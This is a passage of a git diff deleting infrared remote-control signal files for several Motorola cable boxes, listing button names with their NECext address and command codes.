00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 19 00 00 00 -# -name: SETTINGS -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 19 00 00 00 -# -name: VOD -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1A 00 00 00 -# -name: VOD2 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1A 00 00 00 -# -name: ON_DEMAND -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1A 00 00 00 -# -name: P-CHANNEL+ -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1A 00 00 00 -# -name: ONDEMAND -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1A 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1B 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1C 00 00 00 -# -name: FAST_FOWARD -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1D 00 00 00 -# -name: FF -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1D 00 00 00 -# -name: FAST_FORWARD -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1D 00 00 00 -# -name: FWD -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1D 00 00 00 -# -name: >> -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1D 00 00 00 -# -name: FAST-FORWARD -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1D 00 00 00 -# -name: FAST_FWD -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1D 00 00 00 -# -name: FFWD -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1D 00 00 00 -# -name: FORWARD -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1D 00 00 00 -# -name: SHUTTLE_FORWARD -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1D 00 00 00 -# -name: FWD_>> -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1D 00 00 00 -# -name: FFD -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1D 00 00 00 -# -name: REWIND -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1E 00 00 00 -# -name: REW -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1E 00 00 00 -# -name: REVERSE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1E 00 00 00 -# -name: << -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1E 00 00 00 -# -name: REV -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1E 00 00 00 -# -name: SHUTTLE_REVERSE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1E 00 00 00 -# -name: BACK_<< -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1E 00 00 00 -# -name: REW -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1E 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1F 00 00 00 -# -name: PAUSE_ -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1F 00 00 00 -# -name: PIP_ON/OFF -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 22 00 00 00 -# -name: SWAP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 23 00 00 00 -# -name: PIP_SWAP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 23 00 00 00 -# -name: MOVE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 24 00 00 00 -# -name: PIP_MOVE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 24 00 00 00 -# -name: PIP_CH+ -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 25 00 00 00 -# -name: PIP_+ -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 25 00 00 00 -# -name: PIP_CH- -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 26 00 00 00 -# -name: PIP_- -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 26 00 00 00 -# -name: B -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 27 00 00 00 -# -name: C -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 28 00 00 00 -# -name: C -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 28 00 00 00 -# -name: EXIT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 28 00 00 00 -# -name: D -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 29 00 00 00 -# -name: GUIDE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 30 00 00 00 -# -name: TV_GUIDE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 30 00 00 00 -# -name: RECORD -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 31 00 00 00 -# -name: REC -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 31 00 00 00 -# -name: HELP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 32 00 00 00 -# -name: INFO -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 33 00 00 00 -# -name: ARROW_UP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 34 00 00 00 -# -name: MENU_UP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 34 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 34 00 00 00 -# -name: UP_ARROW -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 34 00 00 00 -# -name: C_UP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 34 00 00 00 -# -name: UP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 34 00 00 00 -# -name: C_UP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 34 00 00 00 -# -name: MENU-UP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 34 00 00 00 -# -name: CURSER_UP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 34 00 00 00 -# -name: ARROW_DOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 35 00 00 00 -# -name: MENU_DOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 35 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 35 00 00 00 -# -name: CURSOR_DN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 35 00 00 00 -# -name: DOWN_ARROW -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 35 00 00 00 -# -name: C_DOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 35 00 00 00 -# -name: ARROWN_DOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 35 00 00 00 -# -name: DOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 35 00 00 00 -# -name: MENU-DOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 35 00 00 00 -# -name: CURSER_DOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 35 00 00 00 -# -name: DN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 35 00 00 00 -# -name: ARROW_LEFT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 36 00 00 00 -# -name: MENU_LEFT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 36 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 36 00 00 00 -# -name: CURSOR_LF -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 36 00 00 00 -# -name: LEFT_ARROW -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 36 00 00 00 -# -name: C_LEFT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 36 00 00 00 -# -name: LEFT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 36 00 00 00 -# -name: MENU-LEFT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 36 00 00 00 -# -name: CURSER_LEFT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 36 00 00 00 -# -name: < -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 36 00 00 00 -# -name: ARROW_RIGHT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 37 00 00 00 -# -name: MENU_RIGHT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 37 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 37 00 00 00 -# -name: CURSOR_RT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 37 00 00 00 -# -name: RIGHT_ARROW -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 37 00 00 00 -# -name: C_RIGHT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 37 00 00 00 -# -name: RIGHT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 37 00 00 00 -# -name: C_RIGHT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 37 00 00 00 -# -name: MENU-RIGHT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 37 00 00 00 -# -name: CURSER_RIGHT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 37 00 00 00 -# -name: > -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 37 00 00 00 -# -name: DAY_- -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 38 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 38 00 00 00 -# -name: DAY_+ -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 38 00 00 00 -# -name: > -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 38 00 00 00 -# -name: DAY+ -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 38 00 00 00 -# -name: C -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 38 00 00 00 -# -name: C_DAY_+ -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 38 00 00 00 -# -name: C_(DAY_+) -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 38 00 00 00 -# -name: DAY_UP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 38 00 00 00 -# -name: DAY> -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 38 00 00 00 -# -name: DAY_FOR -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 38 00 00 00 -# -name: DAY_+ -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 39 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 39 00 00 00 -# -name: DAY_- -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 39 00 00 00 -# -name: DAY- -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 39 00 00 00 -# -name: DAY_= -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 39 00 00 00 -# -name: B -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 39 00 00 00 -# -name: B_DAY_- -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 39 00 00 00 -# -name: B_(DAY_-) -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 39 00 00 00 -# -name: DAY_DOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 39 00 00 00 -# -name: > -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 18 00 00 00 -# -name: VIDEO -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 19 00 00 00 -# -name: PLAY/PAUSE -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 1A 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 1C 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 1D 00 00 00 -# -name: COLOR_4_BLUE_/_SWAP -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 1F 00 00 00 -# -name: SKIP_<< -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 28 00 00 00 -# -name: SCAN_<< -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 2A 00 00 00 -# -name: MENY -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 2B 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 2C 00 00 00 -# -name: E -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 2F 00 00 00 -# -name: REC -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 2F 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 38 00 00 00 -# -name: SCAN_>> -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 3A 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 3C 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 3D 00 00 00 -# -name: COLOR_2_GREEN_/_INFO -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 3F 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 48 00 00 00 -# -name: INFO -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 49 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 4A 00 00 00 -# -name: COLOR_1_RED -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 4B 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 4C 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 4D 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 58 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 59 00 00 00 -# -name: BACK -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 5B 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 5C 00 00 00 -# -name: ? -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 5D 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 68 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 69 00 00 00 -# -name: VOLUME_MUTE -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 6B 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 6C 00 00 00 -# -name: COLOR_3_YELLOW_/_GUI -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 78 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 79 00 00 00 -# -name: TEXT -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 7C 00 00 00 -# -name: CHANNEL_+ -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 7F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Motorola/Remote/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Motorola/Remote/0,-1.ir deleted file mode 100644 index cd6afe2ec..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Motorola/Remote/0,-1.ir +++ /dev/null @@ -1,320 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 0 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 00 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 01 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 02 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 03 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 04 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 05 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 06 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 07 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 08 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 09 00 00 00 -# -name: MUSIC -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0A 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0A 00 00 00 -# -name: CHANNEL_+ -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0B 00 00 00 -# -name: CHANNEL_- -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0C 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 10 00 00 00 -# -name: OK -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 11 00 00 00 -# -name: LAST -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 13 00 00 00 -# -name: INPUT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 14 00 00 00 -# -name: FAV -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 15 00 00 00 -# -name: A -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 17 00 00 00 -# -name: PPV -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 18 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 19 00 00 00 -# -name: VOD -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1A 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1B 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1C 00 00 00 -# -name: FAST_FOWARD -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1D 00 00 00 -# -name: REWIND -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1E 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1F 00 00 00 -# -name: PIP_ON/OFF -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 22 00 00 00 -# -name: PIP_SWAP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 23 00 00 00 -# -name: PIP_MOVE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 24 00 00 00 -# -name: PIP_+ -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 25 00 00 00 -# -name: PIP_- -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 26 00 00 00 -# -name: B -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 27 00 00 00 -# -name: C -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 28 00 00 00 -# -name: EXIT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 28 00 00 00 -# -name: GUIDE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 30 00 00 00 -# -name: TV_GUIDE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 30 00 00 00 -# -name: RECORD -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 31 00 00 00 -# -name: HELP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 32 00 00 00 -# -name: INFO -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 33 00 00 00 -# -name: UP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 34 00 00 00 -# -name: DOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 35 00 00 00 -# -name: LEFT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 36 00 00 00 -# -name: RIGHT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 37 00 00 00 -# -name: DAY_- -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 38 00 00 00 -# -name: DAY_+ -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 39 00 00 00 -# -name: PAGE_+ -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 3A 00 00 00 -# -name: PAGE_- -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 3B 00 00 00 -# -name: REPLAY -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 3C 00 00 00 -# -name: DVR_LIST -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 3D 00 00 00 -# -name: LIVE_TV -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 3E 00 00 00 -# -name: ASPECT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 40 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Motorola/Remote/3,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Motorola/Remote/3,-1.ir deleted file mode 100644 index 462a9921f..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Motorola/Remote/3,-1.ir +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 80 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Motorola/Unknown_4dtv/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Motorola/Unknown_4dtv/0,-1.ir deleted file mode 100644 index 58153f4bb..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Motorola/Unknown_4dtv/0,-1.ir +++ /dev/null @@ -1,182 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 01 00 00 00 -# -name: KEY_EXIT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 05 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 06 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 09 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0A 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0B 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0E 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0F 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 10 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 11 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 12 00 00 00 -# -name: KEY_OPTION -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 14 00 00 00 -# -name: KEY_SAT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 15 00 00 00 -# -name: GoBack -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 16 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 17 00 00 00 -# -name: LastCh -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 18 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 19 00 00 00 -# -name: Interests -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1A 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1B 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1C 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1D 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1E 00 00 00 -# -name: KEY_HELP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1F 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 20 00 00 00 -# -name: Browse -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 21 00 00 00 -# -name: Future -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 22 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 23 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 24 00 00 00 -# -name: KEY_CYCLEWINDOWS -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 25 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 27 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Motorola/Unknown_Cable/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Motorola/Unknown_Cable/0,-1.ir deleted file mode 100644 index eb9264281..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Motorola/Unknown_Cable/0,-1.ir +++ /dev/null @@ -1,218 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 09 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0A 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0B 00 00 00 -# -name: CHNDN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0C 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0D 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0E 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0F 00 00 00 -# -name: KEY_AUDIO -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 10 00 00 00 -# -name: KEY_EXIT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 12 00 00 00 -# -name: KEY_LAST -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 13 00 00 00 -# -name: BYPASS -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 14 00 00 00 -# -name: KEY_FAVORITES -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 15 00 00 00 -# -name: PPV -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 16 00 00 00 -# -name: THEME -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 17 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 19 00 00 00 -# -name: KEY_LIST -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 27 00 00 00 -# -name: KEY_CANCEL -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 28 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 30 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 33 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 34 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 35 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 36 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 37 00 00 00 -# -name: DAY+ -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 38 00 00 00 -# -name: DAY- -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 39 00 00 00 -# -name: KEY_PAGEUP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 3A 00 00 00 -# -name: PGDN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 3B 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Motorola/Unknown_DCH3416/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Motorola/Unknown_DCH3416/0,-1.ir deleted file mode 100644 index 3194c113c..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Motorola/Unknown_DCH3416/0,-1.ir +++ /dev/null @@ -1,206 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 09 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0A 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0B 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0C 00 00 00 -# -name: OK/Select -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 11 00 00 00 